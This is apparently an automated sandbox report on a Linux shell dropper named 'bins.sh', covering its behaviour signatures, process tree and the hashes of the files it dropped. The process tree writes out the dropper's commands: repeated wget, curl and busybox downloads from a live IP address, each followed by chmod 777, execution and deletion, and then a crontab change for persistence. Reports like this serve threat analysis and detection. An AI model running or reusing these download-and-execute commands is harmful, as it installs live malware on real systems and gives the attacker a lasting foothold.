Analysis

  • max time kernel
    54s
  • max time network
    56s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    10/11/2024, 08:42

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241110-kl1aystdpa
  • SHA256 970c82aef6a4bf4b8964863defd25df3028e2d165f2a8209ffa7444276ce81fb
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:644
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:649
        • /usr/bin/wget
          wget http://216.126.231.240/bins/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
          2⤵
          • Writes file to tmp directory
          PID:652
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:669
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
          2⤵
          • Writes file to tmp directory
          PID:676
        • /bin/chmod
          chmod 777 xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
          2⤵
          • File and Directory Permissions Modification
          PID:677
        • /tmp/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
          ./xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
          2⤵
          • Executes dropped EXE
          PID:678
        • /bin/rm
          rm xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
          2⤵
            PID:680
          • /usr/bin/wget
            wget http://216.126.231.240/bins/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
            2⤵
            • Writes file to tmp directory
            PID:681
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:690
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
            2⤵
            • Writes file to tmp directory
            PID:703
          • /bin/chmod
            chmod 777 VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
            2⤵
            • File and Directory Permissions Modification
            PID:707
          • /tmp/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
            ./VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
            2⤵
            • Executes dropped EXE
            PID:709
          • /bin/rm
            rm VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
            2⤵
              PID:711
            • /usr/bin/wget
              wget http://216.126.231.240/bins/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
              2⤵
              • Writes file to tmp directory
              PID:712
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:724
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
              2⤵
              • Writes file to tmp directory
              PID:773
            • /bin/chmod
              chmod 777 zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
              2⤵
              • File and Directory Permissions Modification
              PID:776
            • /tmp/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
              ./zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
              2⤵
              • Executes dropped EXE
              PID:777
            • /bin/rm
              rm zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
              2⤵
                PID:779
              • /usr/bin/wget
                wget http://216.126.231.240/bins/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
                2⤵
                • Writes file to tmp directory
                PID:780
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:781
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
                2⤵
                • Writes file to tmp directory
                PID:782
              • /bin/chmod
                chmod 777 UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
                2⤵
                • File and Directory Permissions Modification
                PID:785
              • /tmp/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
                ./UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
                2⤵
                • Executes dropped EXE
                PID:786
              • /bin/rm
                rm UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
                2⤵
                  PID:788
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
                  2⤵
                  • Writes file to tmp directory
                  PID:789
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:790
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
                  2⤵
                  • Writes file to tmp directory
                  PID:793
                • /bin/chmod
                  chmod 777 qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
                  2⤵
                  • File and Directory Permissions Modification
                  PID:794
                • /tmp/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
                  ./qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:795
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:797
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                        • Reads runtime system information
                        PID:798
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:799
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:800
                    • /bin/rm
                      rm qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
                      2⤵
                        PID:802
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
                        2⤵
                          PID:805

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ

                            • Path /tmp/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
                            • Size 112KB
                            • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                            • MD5 SHA1 SHA512 SSDEEP

                            VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt

                            • Path /tmp/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
                            • Size 151KB
                            • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                            • MD5 SHA1 SHA512 SSDEEP

                            qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5

                            • Path /tmp/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
                            • Size 141KB
                            • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                            • MD5 SHA1 SHA512 SSDEEP

                            xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr

                            • Path /tmp/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
                            • Size 98KB
                            • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                            • MD5 SHA1 SHA512 SSDEEP

                            zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe

                            • Path /tmp/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
                            • Size 122KB
                            • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                            • MD5 SHA1 SHA512 SSDEEP

                            tmp.1TwO5L

                            • Path /var/spool/cron/crontabs/tmp.1TwO5L
                            • Size 210B
                            • SHA256 3e68a1cd76d85cad5bfd01b72c653755dfc47ca6637ce7212167b886d22efe11
                            • MD5 SHA1 SHA512